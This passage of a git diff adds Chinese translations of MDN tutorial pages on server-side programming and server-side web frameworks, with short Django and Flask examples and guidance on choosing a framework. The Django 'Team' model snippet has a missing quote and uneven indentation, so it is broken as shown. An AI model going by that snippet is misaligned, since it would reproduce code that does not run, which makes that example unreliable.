+<p>这个请求包括一个标识所请求资源的URL,一个定义所需操作的方法(比如获取,删除或者发布资源),还可以包括编码在URL参数中的附加信息。附加信息以键值对(参数和它的值)的形式,通过一个<a href="https://en.wikipedia.org/wiki/Query_string">查询字符串</a>,作为POST数据(由<a href="/zh-CN/docs/Web/HTTP/Methods/POST">HTTP POST方法</a>发送)或存放在与之相关联的{{glossary("Cookie")}}中。</p>
+
+<p>网络服务器等待客户端的请求信息,在它们到达的时候处理它们,并且回复网络浏览器一个<strong>HTTP响应</strong>信息。这个响应包含一个表明该请求是否成功的状态行(比如“HTTP/1.1 200 OK”代表请求成功)。</p>
+
+<p>相应一个请求的成功回应包含被请求的资源(比如一个新的HTML页面,或者图片等),然后这些会被展示在客户端的网络浏览器上。</p>
+
+<h3 id="静态网站">静态网站</h3>
+
+<p>下面这张图展示了一个<em>静态网站</em>的基本架构。(静态网站是指无论何时当一个特定资源被请求的时候都返回相同的被硬编码的内容)当用户想要导航到某个页面时,浏览器会发送一个指定到这个页面的URL的HTTP“GET”请求。服务器从它的文件系统中检索被请求的文件,然后返回一个HTTP回应,该回应包括被请求的文件和一个<a href="/en-US/docs/Web/HTTP/Status#Successful_responses">状态码</a>(通常200代表操作成功)。如果出于某些原因被请求的文件无法检索到,就会返回错误码。(具体可以参照<a href="/zh-CN/docs/Web/HTTP/Status#Client_error_responses">客户端错误回应</a>和<a href="/zh-CN/docs/Web/HTTP/Status#Server_error_responses">服务器错误回应</a>)</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png" style="height: 223px; width: 800px;"></p>
+
+<h3 id="动态网站">动态网站</h3>
+
+<p>动态网站是指,一些响应内容只有在被需要的时候才会生发的网站。在一个动态网站上,页面通常是通过将数据库的数据植入到HTML模板中的占位符中而产生的(这是一种比使用静态网站有效得多的存储大量内容的方式)。</p>
+
+<p>动态网站可以基于用户提供的个人信息或者偏好设置来返回不同的数据,并且可以展示作为返回一个回应的内容的一部分的其他操作(比如发送通知)。</p>
+
+<p>大多数支持动态网站的代码必须运行在服务器上。编写这些代码就是所谓的“<strong>服务器端编程</strong>”(有些时候也称“后端脚本编写”)。</p>
+
+<p>下面的图表展示了一个动态网站的简单架构。就像之前的图表那样,浏览器发送HTTP请求给服务器,然后服务器处理请求并且返回合适的HTTP响应。</p>
+
+<p>动态网站对于静态资源的请求的处理方式和静态网站是一样的(静态资源是指那些不会改变的文件——最典型的就是:CSS,Javascript,图片,预先生成的PDF文件等)。</p>
+
+<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="https://mdn.mozillademos.org/files/13839/Web%20Application%20with%20HTML%20and%20Steps.png"></p>
+
+<p>对于动态资源的请求则会指向(2)服务器端代码(在图中显示为<em>Web Application</em>(网络应用))。在处理“动态请求”时,服务器会首先解释请求,从数据库中读取被请求的信息,然后将这些被检索的信息组合到HTML模板中(4),最后返回一个包含所生成的HTML页面的回应(5,6)。</p>
+
+<div>
+<h2 id="服务器端编程和客户端编程是一样的吗?">服务器端编程和客户端编程是一样的吗?</h2>
+</div>
+
+<p>让我们将注意力转向涉及服务器端编程和客户端编程的代码。在每一个情况下,代码都是显然不同的:</p>
+
+<ul>
+ <li>它们有不同的目的和关注点。</li>
+ <li>它们通常不会使用相同的编程语言(Javascript是一个特例,它既可以被用在服务器端也可以被用在客户端)。</li>
+ <li>它们在不同的操作系统环境中运行。</li>
+</ul>
+
+<p>在浏览器端运行的代码被称为<strong>客户端代码</strong>,并且主要涉及所呈现的网页的外观和行为的改进。这就包括选择和设计UI元素、布局、导航、表单验证等。相反的,服务器端网站编程主要涉及,对于相应的请求,选择所要返回给浏览器的内容。服务器端代码解决这样一些问题,比如验证提交的数据和请求、使用数据库来存储和检索信息及发送给用户正如他们所请求的的正确内容。</p>
+
+<p>客户端代码使用 <a href="/zh-CN/docs/Learn/HTML">HTML</a>,<a href="/zh-CN/docs/Learn/CSS">CSS</a>,和<a href="/zh-CN/docs/Learn/JavaScript">JavaScript</a> 来编写——这些代码直接在网络浏览器中运行,并且几乎没有访问底层操作系统的路径(包括对文件系统访问的限制)。</p>
+
+<p>web开发者无法控制用户可能会使用哪一种浏览器来浏览网站——浏览器对客户端代码的兼容性支持水平不一致,客户端编程的一部分挑战就是如何优雅地处理浏览器兼容性问题。</p>
+
+<p>服务器端代码可以用任何一种编程语言进行编写——比较受欢迎的服务器端编程语言包括PHP、Python、Ruby和C#。服务器端代码有充分的权限访问服务器的操作系统,并且开发者可以选择他们希望使用的编程语言(和特定版本的语言)。</p>
+
+<p>开发者们通常会使用web框架来编写他们的代码。web框架是一个各种函数、对象、方法和其他代码结构的集合体,web框架被设计用来解决一些普遍问题,从而加速开发,并且简化在一个特定领域中面临的不同类型的任务。</p>
+
+<p>同样的,当客户端和服务器端代码使用框架时,它们的领域是不同的,因此框架也会不同。客户端web框架简化布局和演示任务,然而服务器端web框架提供大量的普通网络服务功能,不然的话你可能需要自己来实现这些功能(比如支持会话、支持用户和身份验证、简单的数据访问、模板库等)。</p>
+
+<div class="note">
+<p><strong>注意事项</strong>:客户端框架通常被用来帮助加速客户端代码的开发,但是你也可以选择手写所有的代码;事实上,如果你只需要一个小型的、简单的网站UI,手写自己的代码可能更快并且更高效。</p>
+
+<p>相反的,你应该从来没有考虑过不使用框架而直接编写web应用程序的服务器端组件——实现一个重要的功能比如HTTP服务器真的很难直接从头开始用Python语言构建,但是一些用Python语言写的web框架,比如Django提供了开箱即用的功能,同时还包含其他很多有用的工具。</p>
+</div>
+
+<div>
+<h2 id="你可以在服务器端做什么?">你可以在服务器端做什么?</h2>
+
+<p>服务器端编程是非常有用的,因为它允许我们高效地分发为个人用户制定的信息,从而创造了更佳的用户体验。</p>
+</div>
+
+<p>一些公司比如亚马逊使用服务器端编程来生成产品的搜索结果、根据客户的偏好和过去的购买习惯来推荐目标产品、简化购物流程等。</p>
+
+<p>银行使用服务器端编程来存储帐号信息,并且仅允许授权的用户查看和进行交易。其他的网络服务,比如Facebook、Twitter、Instagram、和Wikipedia,使用服务器端编程来突出、分享和控制对有趣内容的访问。</p>
+
+<p>服务器端编程的普遍使用和好处被罗列在了下方。你会发现二者有一些是重叠的!</p>
+
+<h3 id="信息的高效存储和传输">信息的高效存储和传输</h3>
+
+<p>想象一下,在亚马逊上提供着多少产品,在脸书上发布了多少帖子?为每一个产品和帖子都创建一个独立的静态页面将是完全不切实际的。</p>
+
+<p>服务器端网络编程则允许我们在数据库中存储信息,并且允许我们动态地创建和返回HTML和其他类型的文件(比如,PDF文件和图片等)。我们也可以简单地传输数据 ({{glossary("JSON")}}, {{glossary("XML")}}等),来让合适的客户端框架呈现(这样就减少了服务器的处理压力和需要被传输的数据总量)。</p>
+
+<p>服务器的工作内容不仅限于从数据库发送信息,可能还会选择性地返回软件工具的结果,或者来自聊天服务的数据。内容甚至可以被定位到接受它的信息的客户端设备的类型。</p>
+
+<p>因为数据被放在数据库中,因此更加容易被分享和更新到其他商业系统(比如,当产品在网上或者实体店卖掉之后,商店可以更新它的存货清单数据库)</p>
+
+<div class="note">
+<p><strong>注意</strong>:你不用很难就可以想到服务器端代码对于高效存储和传输信息的好处:</p>
+
+<ol>
+ <li>打开<a href="https://www.amazon.com">亚马逊</a>或者其他一些电子商务网站。</li>
+ <li>搜索一系列关键词,然后注意到页面结构并没有发生改变,尽管搜索结果发生了改变。</li>
+ <li>打开两到三个不同的产品。注意到它们是如何拥有一个相似的结构和布局的,但是不同产品的内容是从不同数据库中获取的。</li>
+</ol>
+
+<p>对于一个普通的搜索词条(比如“鱼”),你会看到数百万的返回值。使用数据库允许这些数据被高效地存储和分享,并且使得信息的展示就被控制在那一个特定的地方。</p>
+</div>
+
+<h3 id="定制用户体验">定制用户体验</h3>
+
+<p>服务器可以存储和使用客户的相关信息来提供一个定制化的用户体验。比如,很多网站存储信用卡信息来使得用户不必再次输入细节信息。有些网站,比如,谷歌地图使用家庭或者当前位置来提供路径信息,然后在搜索结果中突出本地商业。</p>
+
+<p>对用户习惯的更深层分析可以被用来预测用户的兴趣和更加深度地定制化回应和通知,比如,提供一张清单来展示曾经去过的地方,或者在地图上标识你可能想去的非常受欢迎的地点。</p>
+
+<div class="note">
+<p><strong>注意</strong>:谷歌地图会保存你的搜索,浏览的历史记录。频繁地浏览或者频繁地搜索地址将会使得它更加的醒目。</p>
+
+<p>谷歌搜索结果基于之前的搜索进行优化。</p>
+
+<p>1.访问谷歌搜索</p>
+
+<p>2.搜索 “足球”</p>
+
+<p>3.现在在搜索框中输入 “喜欢” ,你就会观察到搜索会自动补全</p>
+
+<p>真的是巧合嘛?这算不上什么!</p>
+</div>
+
+<h3 id="控制对内容的访问">控制对内容的访问</h3>
+
+<p>服务器端编程允许网站限制合法用户的权限,并且只提供用户被允许查看的信息。</p>
+
+<p>真实世界的例子有:</p>
+
+<ul>
+ <li>社交网站,比如Facebook允许用户完全控制他们自己的数据,但是只允许他们的朋友和家人查看和评论这些数据。用户决定谁可以看到他们的数据,并且通过扩展,决定谁的数据出现在他们的反馈里面——授权是用户体验里面的一个核心部分!</li>
+ <li>
+ <p>此时此刻您所访问的网站也控制着内容访问:文章对所有人都是可视的,但是只有已经登录的用户可以编辑内容。为了试验一下,你可以点击一下页面上方的<strong>编辑</strong>按钮——如果你已经登录了的话,将会展示出编辑界面;如果你还没有登录,你会被导航到注册界面。</p>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>注意</strong>:想想其他真实的限制了内容访问例子。比如,如果你直接访问你银行的网页,你可以看到什么?用你的帐号登录之后——你可以看到和修改什么额外的信息呢?有些什么信息是你只可以看到的而只有银行可以修改的?</p>
+</div>
+
+<h3 id="存储会话和状态信息">存储会话和状态信息</h3>
+
+<p>服务器端编程允许开发者们充分利用<strong>会话</strong>——简单来说就是一种机制,这种机制允许服务器存储一个网站现有用户信息,并且基于那些信息发送不同响应。</p>
+
+<p>这也就允许,比如说,一个网站知道一个用户曾经登录过并且展示他们邮箱的链接或者订单历史,或者可能存储一个简单游戏的状态来确保用户可以再次访问网站然后从上次留下来的地方继续。</p>
+
+<div class="note">
+<p><strong>注意</strong>:访问一个具有订阅模式的新闻网站,并且打开一系列标签(比如<a href="http://www.theage.com.au/">The Age</a>)。几个小时或者几天之后再来访问这个网站。最后你将开始被重定向到一个向你解释如何订阅的页面上,并且你将无法访问文章。这个信息就是一个session信息被存储在cookie中的例子</p>
+</div>
+
+<h3 id="通知和通讯">通知和通讯</h3>
+
+<p>服务器可以发送面向全体的或者面向指定用户的通知,通过网站自身或者通过邮箱、SMS、即时消息、视频会话或者其他的通讯服务。</p>
+
+<p>几个例子:</p>
+
+<ul>
+ <li>
+ <p>Facebook和Twitter发送邮件或者SMS消息来通知你一些新的交谈。</p>
+ </li>
+ <li>
+ <p>亚马逊定期的向你发送产品邮件并且向你推荐和你曾经买过的产品很相似的产品或者是他们觉得你可能感兴趣的产品。</p>
+ </li>
+ <li>一个网站的服务器可能向网站管理员发送警告消息来警告他们服务器内存不足或者可疑的用户行为。</li>
+</ul>
+
+<div class="note">
+<p><strong>注意</strong>:最普通的一种通知类型就是“注册认证”。选择任何一个你感兴趣的大型网站(谷歌、亚马逊、Instagram等)并且用你的邮箱创建一个新的帐号。你很快会收到一封验证你的注册的邮件,或者需要你去激活帐号。</p>
+</div>
+
+<h3 id="数据分析">数据分析</h3>
+
+<p>一个网站可以收集到有关用户的大量的信息:他们搜索什么?他们买什么?他们分享什么?他们在每一个页面停留多久?服务器端编程可以被用来基于这些数据的分析而细化回应。</p>
+
+<p>比如,亚马逊和谷歌都基于过去的搜索(和购物)信息来为产品打广告。</p>
+
+<div class="note">
+<p><strong>注意</strong>:如果你使用Facebook,去看看你的main feed,然后看一下帖子流。注意到其中一些帖子不是按照数字进行排列的-拥有更多“喜欢”的帖子在列表中通常高于最近的帖子。</p>
+
+<p>也可以看一下你收到的广告是什么类型的——你或许会看到你在其他网站查看的商品。Facebook为突出内容和广告的算法或许还很令人疑惑,但是很明显的,它是依据你的喜好、品味和习惯的!</p>
+</div>
+
+<h2 id="总结">总结</h2>
+
+<p>恭喜,你已经看到了第一篇有关服务器端编程的文章的结尾处。</p>
+
+<p>你已经了解到的就是,服务器端代码在服务器上运行,它的主要角色是控制什么信息应该发送给用户(然而客户端代码只要解决给用户的数据的结构和展示)。</p>
+
+<p>你也应该理解服务器端代码是非常有用的,因为它允许我们创建,可以高效地向个体用户传输定制化的信息的,网站。另外,你还应该知道当你是一个服务器端程序员时可能能够做的一些事情。</p>
+
+<p>最后你应该理解服务器端代码可以用很多种编程语言进行编写,并且你应该使用一个web框架来使得这个过程更加容易一点。</p>
+
+<p>在接下来的文章中我们会帮助你选择一个对于你的第一个网站来说最好的web框架;但是,再接下来我们稍微详细一点地带你过一遍主要的客户端-服务器交互行为。</p>
+
+<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p>
+
+<h2 id="在这个模块中">在这个模块中</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Introduction">Introduction to the server side</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Web_frameworks">Server-side web frameworks</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/First_steps/Website_security">Website security</a></li>
+</ul>
diff --git a/files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html b/files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html
new file mode 100644
index 0000000000..47b23da420
--- /dev/null
+++ b/files/zh-cn/learn/server-side/first_steps/web_frameworks/index.html
@@ -0,0 +1,298 @@
+---
+title: 服务端web框架
+slug: learn/Server-side/First_steps/Web_frameworks
+tags:
+ - web框架
+ - 介绍
+ - 初学者
+ - 学习
+ - 指导
+ - 服务器
+ - 服务器端编程
+ - 编码
+translation_of: Learn/Server-side/First_steps/Web_frameworks
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">前面的文章向你展示了web客户端和服务器之间的通信是什么样子的,HTTP的请求和回应之间的性质,以及服务器端应用为了回应来自web浏览器的请求的需要做的事情。有了这些知识后,现在是时候来探索一个web框架是如何简化这些任务的,并且告诉你应该如何为你的第一个服务器端应用选择一个框架。</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">预先要求:</th>
+ <td>基础电脑素养。对于服务器端代码是如何处理并响应HTTP请求有深刻的理解。(参见<a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a>)</td>
+ </tr>
+ <tr>
+ <th scope="row">目标:</th>
+ <td>理解web框架是如何简化服务器端代码的开发和维护的,并且帮助读者思考如何为他们自己的开发项目选择一个框架。</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>下面的部分通过使用一些来自web框架的代码段来说明一些要点。如果不能完全看懂代码也不用太在意。我们在“框架详解”模块会帮助你完全理解。</p>
+
+<h2 id="概览">概览</h2>
+
+<p>服务器端框架(亦称 "web 应用框架") 使编写、维护和扩展web应用更加容易。它们提供工具和库来实现简单、常见的开发任务, 包括 路由处理, 数据库交互, 会话支持和用户验证, 格式化输出 (e.g. HTML, JSON, XML), 提高安全性应对网络攻击.</p>
+
+<p>下一节将详细介绍web框架如何简化web应用程序开发。然后,我将阐述一些选择web框架的标准,并给你列出一些选项。</p>
+
+<h2 id="web框架可以为你做什么?">web框架可以为你做什么?</h2>
+
+<p>你并不是必须得使用一个服务器端的web框架,但是我们强烈建议你使用框架——框架会使得你的生活更美好。</p>
+
+<p>这个部分我们讲一下web框架通常会提供的功能(并不是说每一个框架一定会提供下面的所有功能!)</p>
+
+<h3 id="直接处理_HTTP_请求和响应">直接处理 HTTP 请求和响应</h3>
+
+<p>从上一篇文章中我们知道,web服务器和浏览器通过HTTP协议进行通信——服务器等待来自浏览器的HTTP请求然后在HTTP回应中返回相关信息。web框架允许你编写简单语法的代码,即可生成处理这些请求和回应的代码。这意味着你的工作变得简单、交互变得简单、并且使用抽象程度高的代码而不是底层代码。</p>
+
+<p>每一个“view”函数(请求的处理者)接受一个包含请求信息的<code>HttpRequest</code>对象,并且被要求返回一个包含格式化输出的<code>HttpResponse</code>(在下面的例子中是一个字符串)。</p>
+
+<pre class="brush: python"># Django view function
+from django.http import HttpResponse
+
+def index(request):
+ # Get an HttpRequest (request)
+ # perform operations using information from the request.
+  # Return HttpResponse
+ return HttpResponse('Output string to return')
+</pre>
+
+<h3 id="将请求路由到相关的handler中">将请求路由到相关的handler中</h3>
+
+<p>大多数的站点会提供一系列不同资源,通过特定的URL来访问。如果都放在一个函数里面,网站会变得很难维护。所以web框架提供一个简单机制来匹配URL和特定处理函数。这种方式对网站维护也有好处,因为你只需要改变用来传输特定功能的URL而不用改变任何底层代码。</p>
+
+<p>不同的框架使用不同机制进行匹配。比如Flask(Python)框架通过使用装饰器来增加视图的路由。</p>
+
+<pre class="brush: python">@app.route("/")
+def hello():
+ return "Hello World!"</pre>
+
+<p>然而,Django则期望开发者们定义一张URL pattern和视图函数URL的匹配列表。</p>
+
+<pre class="brush: python">urlpatterns = [
+ url(r'^$', views.index),
+ # example: /best/myteamname/5/
+ url(r'^(?P&lt;team_name&gt;\w.+?)/(?P&lt;team_number&gt;[0-9]+)/$', views.best),
+]
+</pre>
+
+<h3 id="使从请求中获得数据变得简单">使从请求中获得数据变得简单</h3>
+
+<p>数据在HTTP请求中的编码方式有很多种。一个从服务器获得文件或者数据的HTTP <code>GET</code>请求可能会按照URL参数中要求的或者URL结构中的方式进行编码。一个更新服务器上数据的HTTP <code>POST</code>请求则会在请求主体中包含像“POST data”这样的更新信息。HTTP请求也可能包含客户端cookie中的即时会话和用户信息。</p>
+
+<p>web框架提供一个获得这些信息的适合编程语言的机制。比如,Django传递给视图函数的<code>HttpRequest</code>对象包含着获得目标URL的方式和属性、请求的类型(比如一个HTTP <code>GET</code>)、<code>GET</code>或者<code>POST</code>参数、cookie或者session数据等等。Django也可以通过在URL匹配表中定义“抓取模式”来在URL结构中传递编码了的信息(如上面的编码片段中的最后一行)。</p>
+
+<h3 id="抽象和简化数据库接口">抽象和简化数据库接口</h3>
+
+<p>网站使用数据库来存储与用户分享的信息和用户个人信息。web框架通常会提供一个数据库层来抽象数据库的读、写、查询和删除操作。这一个抽象层被称作对象关系映射器(ORM)。</p>
+
+<p>使用对象关系映射器有两个好处:</p>
+
+<ul>
+ <li>你不需要改变使用数据库的代码就可以替换底层数据库。这就允许开发者依据用途优化不同数据库的特点。</li>
+ <li>简单的数据的验证可以被植入到框架中。这会使得检查数据是否按照正确的方式存储在数据库字段中或者是否是特定的格式变得简单(比如邮箱地址),并且不是恶意的(黑客可以利用特定的编码模式来进行一些如删除数据库记录的非法操作)。</li>
+</ul>
+
+<p>比如,Django框架提供一个对象关系映射,并且将用来定义数据库记录的结构称作模型。模型制定被存储的字段类型,可能也会提供那些要被存储的信息的验证(比如,一个email字段只允许合法email地址)。字段可能也会指明最大信息量、默认值、选项列表、帮助文档、表单标签等。这个模型不会申明任何底层数据库的信息,因为这是一个只能被我们的代码改变的配置信息。</p>
+
+<p>下面第一个代码片段展示了一个简单的为<code>Team</code>对象设计的Django模型。这个模型会使用字符字段来存储一个队伍的名字和级别,同时还指定了用来存储每一条记录的最大字符数量。<code>team_level</code>是一个枚举字段,所以我们也提供了一个被存储的数据和被展示出来的选项之间的匹配,同时指定了一个默认值。</p>
+
+<pre class="brush: python">#best/models.py
+
+from django.db import models
+
+class Team(models.Model):
+  team_name = models.CharField(max_length=40)
+
+    TEAM_LEVELS = (
+        ('U09', 'Under 09s'),
+        ('U10', 'Under 10s'),
+        ('U11, 'Under 11s'),
+  ... #list our other teams
+    )
+    team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11')
+</pre>
+
+<p>Django模型提供了简单的搜索数据库的查询API。这可以通过使用不同标准来同时匹配一系列的字段(比如精确、不区分大小写、大于等等),并且支持一些复杂的陈述(比如,你可以指定在U11水平的队伍中搜索队伍名字中以“Fr”开头或者“al”结尾的队伍)。</p>
+
+<p>第二个代码片段展示了一个视图函数(资源处理器),这个视图函数用来展示所有U09水平的队伍——通过指明过滤出所有<code>team_level</code>字段能准确匹配'U09'的队伍(注意过滤规则如何传递给<code>filter( )</code>,它被视为一个变量:<code>team_level__exact</code>,由字段名、匹配类型和分隔它们的双重下划线组成)。</p>
+
+<pre class="brush: python">#best/views.py
+
+from django.shortcuts import render
+from .models import Team
+
+def youngest(request):
+    <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong>
+    context = {'youngest_teams': list_teams}
+    return render(request, 'best/index.html', context)
+</pre>
+
+<dl>
+</dl>
+
+<h3 id="渲染数据">渲染数据</h3>
+
+<p>web框架经常提供模板系统。这些允许你制定输出文档的结构,使用为那些数据准备的将在页面生成时添加进去的占位符。模板经常是用来生成HTML的,但是也可以用来生成一些其他的文档。</p>
+
+<p>框架提供一个机制,使得从存储的数据中生成其他格式数据变得简单,包括{{glossary("JSON")}}和{{glossary("XML")}}。</p>
+
+<p>比如,Django模板允许你通过使用“双重花括号”(如<code>{</code><code>{ <em>variable_name</em> </code><code>}</code><code>}</code>)来指定变量,当页面被渲染出来时,这些变量会被从视图函数传递过来的值代替。模板系统也会提供表达支持(通过语法<code>{% <em>expression</em> %}来实现</code>),这样就允许模板进行一些简单的操作比如迭代传递给模板的值列表。</p>
+
+<div class="note">
+<p><strong>Note</strong>: 很多其他的模板系统使用相似的语法,比如:Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), 等。</p>
+</div>
+
+<p>下面的代码片段展示了它们如何工作的。下面的内容接着从上一个部分而来的“youngest team”实例,HTML模板通过视图函数传进一个叫做youngest_teams的值列表。在HTML骨架中我们有一个初步检查youngest_teams变量是否存在的表示,然后会在for循环里面进行迭代。在每一次迭代中模板会以列表元素的形式展示队伍的team_name值。</p>
+
+<pre class="brush: html">#best/templates/best/index.html
+
+&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;body&gt;
+
+ {% if youngest_teams %}
+    &lt;ul&gt;
+    {% for team in youngest_teams %}
+        &lt;li&gt;\{\{ team.team_name \}\}&lt;/li&gt;
+    {% endfor %}
+    &lt;/ul&gt;
+{% else %}
+    &lt;p&gt;No teams are available.&lt;/p&gt;
+{% endif %}
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="如何选择一个web框架">如何选择一个web框架</h2>
+
+<p>几乎对于你想要使用的每一种语言都有大量的web框架(我们在下面的部分列举了一些比较受欢迎的框架)。有这么多选择,导致很难决定选择哪个框架为你的新web应用提供最好的开端。</p>
+
+<p>一些影响你决定的因素有:</p>
+
+<ul>
+ <li><strong>学习代价</strong>:学习一个web框架取决于你对底层语言的熟悉程度,它的API的一致性与否,文档质量,社区的体量和活跃程度。如果你完全没有编程基础的话,那就考虑Django吧(它是基于上面几条标准来看最容易学习的了)。如果你已经成为开发团队的一部分,而那个开发团队对某一种语言或者某一个框架有着很重要的开发经历,那么就坚持相关框架。</li>
+ <li><strong>效率</strong>:效率是指一旦你熟悉某一个框架之后,你能够多块地创造一个新功能的衡量方式,包括编写和维护代码的代价(因为当前面的功能崩掉之后,你没法编写新的功能)。影响效率的大多数因素和学习代价是类似的——比如,文档,社区,编程经历等等。——其他因素还有:
+ <ul>
+ <li>框架目的/起源:一些框架最初是用来解决某一类特定问题的,并且最好在生成app的时候顾及到这些约束。比如,Django是用来支持新闻网站的,因此非常适合博客或者其他包含发布内容的网站。相反的,Flask是一个相对来说轻量级的框架,因此适合用来生成一些在嵌入式设备上运行的app。</li>
+ <li><em>Opinionated vs unopinionated</em>:一个opinionated的框架是说,解决某一个特定问题时,总有一个被推荐的最佳的解决方法。opinionated的框架在你试图解决一些普通问题的时候,更加趋向于产品化,因为它们会将你引入正确的方向,尽管有些时候并不那么灵活。</li>
+ <li>一些web框架默认地包含了开发者们能遇到的任何一个问题的工具/库,而一些轻量级的框架希望开发者们自己从分离的库中选择合适的解决方式(Django是其前者的一个实例,而Flask则是轻量级的一个实例)。包含了所有东西的框架通常很容易上手因为你已经有了你所需要的任何东西,并且很可能它已经被整合好了,并且文档也写得很完善。然而一个较小型的框架含有你所需要(或者以后需要)的各种东西,它将只能在受更多限制的环境中运行,并且需要学习更小的、更简单的子集学习。</li>
+ <li>是否选择一个鼓励良好开发实例的框架:比如,一个鼓励 <a href="/en-US/docs/Web/Apps/Fundamentals/Modern_web_app_architecture/MVC_architecture">Model-View-Controller</a> 结构来将代码分离到逻辑函数上的框架将会是更加易于维护的代码,想比与那些对开发者没有此期待的框架而言。同样的,框架设计也深刻影响了测试和重复使用代码的难易程度。</li>
+ </ul>
+ </li>
+ <li><strong>框架/编程语言的表现:</strong> 通常来讲,“速度”并不是选择中最重要的因素,甚至,相对而言,运行速度很缓慢的Python对于一个在中等硬盘上跑的中等大小的网站已经足够了。其他语言(C++/Javascript)的明显的速度优势很有可能被学习和维护的代价给抵消了。</li>
+ <li><strong>缓存支持:</strong>当你的网站之间变得越来越成功之后,你可能会发现它已经无法妥善处理它收到的大量请求了。在这个时候,你可能会开始考虑添加缓存支持。缓存是一种优化,是指你将全部的或者大部分的网站请求保存起来,那么在后继请求中就不需要重新计算了。返回一个缓存请求比重新计算一次要快得多。缓存可以被植入你的代码里面,或者是服务器中(参见<a href="https://en.wikipedia.org/wiki/Reverse_proxy">reverse proxy</a>)。web框架对于定义可缓存内容有着不同程度的支持。</li>
+ <li><strong>可扩展性:</strong>一旦你的网站非常成功的时候,你会发现缓存的好处已经所剩无几了,甚至垂直容量到达了极限(将程序运行在更加有力的硬件上面)。在这个时候,你可能需要水平扩展(将你的网站分散到好几个服务器和数据库上来加载)或者“地理上地”扩展, 因为你的一些客户距离你的服务器很远。你所选择的框架将会影响到扩展你的网站的难易程度。</li>
+ <li><strong>网络安全:</strong>一些web框架对于解决常见的网络攻击提供更好的支持。例如,Django消除所有用户从HTML输入的东西。因此从用户端输入的Javascript不会被运行。其他框架也提供相似的功能,但是通常在默认情况下是不直接开启的。</li>
+</ul>
+
+<p>可能还有其他一些原因,包括许可证、框架是否处于动态发展过程中等等。</p>
+
+<p>如果你是一个完全的初学者,那么你可能会基于“易于学习”来选择你的框架。除了语言本身的“易于学习”之外,帮助新手的高质量的文档/教程和一个活跃的社区是你最有价值的资源。在后续课程中,我们选取了Djnago(Python)和Express(Node/Javascript)来编写我们的实例,主要因为它们很容易上手并且有强大的支持。</p>
+
+<div class="note">
+<p><strong>注意</strong>: 我们可以去 <a href="https://www.djangoproject.com/">Django</a> (Python) 和 <a href="http://expressjs.com/">Express</a> (Node/JavaScript) 的主页上去看看它们的文档和社区。</p>
+
+<ol>
+ <li>导航至主页 (上面已给出链接)
+ <ul>
+ <li>点击文档菜单的链接 (通常都叫做 "Documentation(文档), Guide(指南), API Reference(API参考), Getting Started(快速开始)"之类的。)</li>
+ <li>你能看到如何设置URL路由、模板、数据库/数据模型的主题吗?</li>
+ <li>文档说得够清楚吗?</li>
+ </ul>
+ </li>
+ <li>导航至各个站点的邮件列表(从社区的链接访问)
+ <ul>
+ <li>近几天提出了多少问题?</li>
+ <li>有多少问题得到了回应?</li>
+ <li>他们是否有一个活跃的社区?</li>
+ </ul>
+ </li>
+</ol>
+</div>
+
+<h2 id="几个还不错的框架?">几个还不错的框架?</h2>
+
+<p>让我们继续,来讨论几个特定的服务器端框架。</p>
+
+<p>下面的服务器端框架体现了现在最受欢迎的几个。它们有你需要用来提升效率的一切东西——它们是开源的,一直保持发展的态势,有着富有激情的社区,社区里的人创作出文档并且在讨论板上帮助使用者,并且被使用在很多高质量的网站上。当然还有很多其他非常棒的框架,你可以使用搜索引擎探索一下。</p>
+
+<div class="note">
+<p><strong>注意:(部分)解释来自框架的官方网站!</strong></p>
+</div>
+
+<h3 id="Django_Python">Django (Python)</h3>
+
+<p><a href="https://www.djangoproject.com/">Django</a>是一个高水平的python web框架,它鼓励快速的开发和简洁、务实的设计。它由非常有经验的开发者创建的,考虑到了web开发中会遇到的大多数难题,所以你无需重复造轮就能够专心编写你的应用。 </p>
+
+<p>Django遵循“Batteries included”哲学,并且提供了几乎所有大多开发者们想要“开箱即用”的东西。因为它已经包含了所有东西,它作为一个整体一起工作,遵循着一致的设计原则,并且有扩展的、持续更新的文档。它也是非常快、安全和易于扩展的。基于python,Django代码非常容易阅读和维护。</p>
+
+<p>使用Django的主流网站(从Django官网首页看到的)包括: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.</p>
+
+<h3 id="Flask_Python">Flask (Python)</h3>
+
+<p><a href="http://flask.pocoo.org/">Flask</a>是python的一个微型框架</p>
+
+<p>虽然体量很小,Flask却可以开箱即用地创造出完备网站。它包含一个开发服务器和调试器,并且包含对于 <a href="https://github.com/pallets/jinja">Jinja2</a> 模板的支持, 安全的cookie, <a href="https://en.wikipedia.org/wiki/Unit_testing">unit testing</a>, 和 <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a> request dispatching。它有很好的文档和一个活跃的社区。</p>
+
